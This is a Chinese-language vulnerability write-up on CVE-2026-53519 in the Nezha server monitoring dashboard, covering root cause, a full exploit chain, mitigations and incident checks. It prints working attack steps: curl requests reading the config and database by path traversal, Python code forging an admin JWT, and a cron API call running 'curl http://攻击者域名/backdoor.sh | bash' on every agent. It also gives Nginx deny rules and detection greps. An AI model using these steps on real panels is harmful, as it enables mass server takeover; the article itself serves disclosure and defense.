哪吒面板远程代码执行漏洞 CVE-2026-53519
2026年5月底,开源服务器监控工具哪吒面板(Nezha Dashboard)被披露一枚严重安全漏洞,编号CVE-2026-53519。该漏洞CVSS评分高达9.1,攻击者无需任何账号密码,仅需一个HTTP请求即可读取面板配置文件,进而伪造管理员身份,通过Agent向所有被监控服务器下发任意命令。本文带你完整了解这枚哪吒面板远程代码执行漏洞的来龙去脉。

一、漏洞概述:一枚路径穿越引发的批量服务器沦陷
CVE-2026-53519是一枚位于哪吒面板Dashboard前端静态资源回退逻辑中的未授权路径穿越漏洞。虽然漏洞本身的技术分类是路径穿越(CWE-22),但在默认部署环境下,攻击者可以利用它读取包含JWT签名密钥的配置文件,进而伪造管理员身份登录后台,最终通过Cron任务或终端功能实现对所有纳管服务器的远程代码执行(RCE)。
这枚漏洞的危险之处在于三个"极低":
- 利用门槛极低:无需认证、无需交互,构造一个特殊URL即可发起攻击
- 影响范围极广:所有v2.0.13以下版本均受影响,覆盖绝大多数在用实例
- 危害程度极深:面板被接管等同于所有被监控服务器被接管,一损俱损
漏洞披露后,包括Lazarus在内的多个黑客组织已开始大规模扫描和利用,公网暴露的未修复实例面临极高的入侵风险。
| 漏洞属性 | 详情 | |---------|------| | CVE编号 | CVE-2026-53519 | | 漏洞类型 | 未授权路径穿越 → 密钥泄露 → 身份伪造 → RCE | | CVSS v3.1评分 | 9.1(严重) | | 影响版本 | 哪吒面板 v2.0.13 以下所有版本 | | 修复版本 | v2.0.13(2026年5月25日发布) | | 是否需要认证 | 否,完全未授权利用 | | 发现者 | riodrwn |
二、漏洞原理:一行前缀匹配的致命缺陷
2.1 问题出在哪里
哪吒面板的Dashboard使用Gin框架开发,在NoRoute处理器中,有一段用于回退到前端静态资源的逻辑。问题代码使用了strings.HasPrefix来判断请求路径是否以/dashboard开头:
if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)
// 读取并返回 localFilePath 对应的文件
}
这段代码的本意是:所有以/dashboard开头的请求,都去admin-dist目录下找对应的静态文件返回。但strings.HasPrefix做的是子串前缀匹配,而非路径段匹配,这就给了攻击者可乘之机。

2.2 攻击者如何绕过防护
熟悉Go语言的读者可能会问:http.ServeFile不是自带路径穿越防护吗?确实,Go标准库会检查请求URL中是否存在独立的..路径段,如果有则直接返回400错误。
但攻击者构造的Payload是:
/dashboard../data/config.yaml
注意这里是dashboard..而不是dashboard/..。第一个路径段是一个整体dashboard..,其中并不包含独立的..段,因此Go标准库的防护不会触发。
接下来看路径是如何被计算的:
HasPrefix("/dashboard../data/config.yaml", "/dashboard")→ 匹配成功TrimPrefix去掉前缀后得到:../data/config.yamlpath.Join("admin-dist", "../data/config.yaml")→ 结果为data/config.yamlos.Stat("data/config.yaml")→ 文件存在,直接返回
穿越发生在TrimPrefix之后,此时..才被构造出来,已经位于所有防线的下游。path.Join的自动Clean行为静默地将..解析为上级目录跳转,且不返回任何错误。
2.3 为什么能读到密钥
在默认部署中,data/config.yaml文件包含了用于签名会话Cookie的HS256对称密钥jwt_secret_key:
jwt_secret_key: xxxxxxxxxxxxxxxxxxxx
agent_secret_key: xxxxxxxxxxxxxxxxxxxx
HS256是对称加密算法,拥有密钥就等于拥有签名能力。攻击者拿到这个密钥后,可以伪造任意用户(包括管理员)的JWT令牌,以管理员身份登录面板。
三、完整攻击链:从一个GET请求到批量RCE
CVE-2026-53519本身只是一个文件读取漏洞,但在默认配置下可以串联成完整的远程代码执行链。以下是经过验证的四个攻击阶段:

阶段一:未授权读取配置文件
攻击者向目标面板发送一个精心构造的GET请求:
curl -s --path-as-is 'http://目标IP:8008/dashboard../data/config.yaml'
响应中直接返回config.yaml的完整内容,包括jwt_secret_key和agent_secret_key。除了配置文件,攻击者还可以用同样的方式读取SQLite数据库文件:
curl -s --path-as-is 'http://目标IP:8008/dashboard../data/sqlite.db' -o leaked.db
数据库中包含所有用户信息、服务器列表、API Token等敏感数据。
阶段二:窃取JWT密钥并伪造管理员令牌
从配置文件中提取jwt_secret_key后,攻击者使用HS256算法伪造管理员JWT:
import jwt
token = jwt.encode(
{"user_id": admin_user_id},
"窃取到的jwt_secret_key",
algorithm="HS256"
)
将伪造的令牌设置为nz-jwtCookie,即可绕过登录认证,以管理员身份访问所有后台接口。
阶段三:接管面板后台
拥有管理员身份后,攻击者可以:
- 查看所有被监控服务器的详细信息
- 创建、修改、删除Cron定时任务
- 使用内置终端直接连接任意服务器
- 修改用户权限、创建后门账号
- 篡改通知配置,将数据外传
阶段四:向所有服务器下发恶意命令(RCE)
这是攻击链的最终目的。攻击者创建一个全局Cron任务,将恶意命令推送到所有接入面板的Agent:
# 创建覆盖所有服务器的Cron任务
curl -X POST 'http://目标IP:8008/api/v1/cron' \
-H 'Content-Type: application/json' \
-b "nz-jwt=伪造的令牌" \
-d '{
"name": "system_update",
"command": "curl http://攻击者域名/backdoor.sh | bash",
"servers_raw": [],
"cover": 1,
"cron_spec": "* * * * *"
}'
当servers_raw为空且cover设为全局覆盖时,命令会在每台被监控服务器上执行。如果面板管理了100台服务器,攻击者一次操作就能拿下100台服务器的控制权。
四、影响范围与风险评估
4.1 哪些版本受影响
所有v2.0.13以下的哪吒面板版本均存在此漏洞,包括v2.0.0至v2.0.12。该漏洞位于Dashboard服务端,与Agent客户端版本无关,仅升级Agent无法修复。
4.2 哪些部署场景最危险
- 公网直接暴露:面板管理端口(默认8008)可被公网直接访问的实例风险最高
- 默认配置部署:使用默认配置文件路径和密钥的实例,攻击成本最低
- 管理大量服务器:面板纳管的服务器越多,被入侵后的损失越大
- 未开启额外认证:没有配置Nginx Basic Auth或IP白名单的实例
4.3 野外利用态势
漏洞披露后,安全厂商监测到以下活动:
- 大规模互联网扫描已开始,针对8008端口的探测流量显著增加
- 公开PoC和利用脚本已在GitHub和安全社区传播
- 部分未修复实例已被植入后门,用于挖矿或作为跳板机
- Lazarus等APT组织已将该漏洞纳入攻击工具库
五、修复与安全加固方案
5.1 最根本的修复:升级到安全版本
立即将哪吒面板升级至v2.0.13或更高版本。官方在该版本中修复了前缀匹配逻辑,增加了严格的路径逃逸检测:
# 官方一键升级脚本
curl -L https://raw.githubusercontent.com/naiba/nezha/master/script/install.sh \
-o nezha.sh && chmod +x nezha.sh && ./nezha.sh update
升级完成后务必重启面板服务,并验证版本号确认修复生效。

5.2 临时缓解:网络层阻断攻击
如果因业务原因暂时无法升级,可通过以下方式降低风险:
Nginx反向代理拦截恶意请求:
location / {
# 拦截路径穿越Payload
if ($request_uri ~* "dashboard\.\.") { return 403; }
if ($request_uri ~* "dashboard%2e%2e") { return 403; }
if ($request_uri ~* "dashboard\.\.%2f") { return 403; }
proxy_pass http://127.0.0.1:8008;
}
限制访问来源:
- 通过防火墙或安全组,仅允许可信IP访问面板管理端口
- 为面板增加HTTP Basic Auth额外认证层
- 将面板部署在内网,通过VPN或跳板机访问
5.3 配置加固
- 将
data/目录设置严格的文件权限(建议600) - 定期轮换
jwt_secret_key和agent_secret_key - 避免在配置文件中明文存储第三方API密钥
- 启用面板的登录失败锁定和异常登录提醒
六、入侵排查指南
如果你的哪吒面板部署在公网且版本低于2.0.13,建议立即执行以下排查:
6.1 检查面板日志
# 搜索是否存在利用Payload的访问记录
grep -E "dashboard\.\.|dashboard%2e%2e|dashboard\.\.%2f" /path/to/nezha/logs/*.log
如果搜索结果不为空,说明面板可能已被攻击者探测或利用。
6.2 审查Cron任务
登录面板后台,仔细检查所有Cron定时任务:
- 是否有不明来源或创建者异常的任务
- 是否存在
servers_raw为空的全局推送任务 - 命令中是否包含
curl、wget、bash、sh等下载执行模式 - 是否有被篡改的原有任务
6.3 检查Agent端异常
在所有被监控服务器上执行:
# 检查异常定时任务
crontab -l
cat /etc/crontab
ls -la /etc/cron.d/
# 检查异常进程和外联
ps aux | grep -E "curl|wget|bash|nc|ncat|miner"
netstat -antp | grep -E "ESTABLISHED"
# 检查常见后门目录
ls -la /tmp/ /var/tmp/ /dev/shm/
6.4 密钥与凭证轮换
确认安全后,立即执行:
- 修改
config.yaml中的jwt_secret_key和agent_secret_key - 重置所有面板用户的登录密码
- 重新部署所有Agent的通信密钥
- 轮换配置文件中涉及的所有第三方API密钥
七、总结:监控工具安全不可忽视
CVE-2026-53519这枚哪吒面板远程代码执行漏洞,再次提醒我们:运维监控工具本身就是最高价值的攻击目标。一台监控面板通常管理着几十甚至上百台服务器,一旦被攻破,攻击者就能批量控制所有被监控节点,危害远超普通Web应用漏洞。
对于使用哪吒面板的运维人员,建议:
- 立即升级到v2.0.13或更高版本,这是最根本的修复措施
- 限制公网暴露,管理端口不要直接暴露在互联网上
- 定期关注安全公告,及时跟进官方安全更新
- 做好入侵排查,尤其是公网部署的旧版本实例
选择可靠的部署方式、保持系统及时更新、做好访问控制,才是保障服务器监控系统安全的核心。希望这篇文章能帮助你快速理解并处置这枚哪吒面板漏洞,守护好你的服务器集群。
参考资料:GitHub Security Advisory GHSA-5c25-7vpj-9mqh、NVD CVE-2026-53519、哪吒面板官方仓库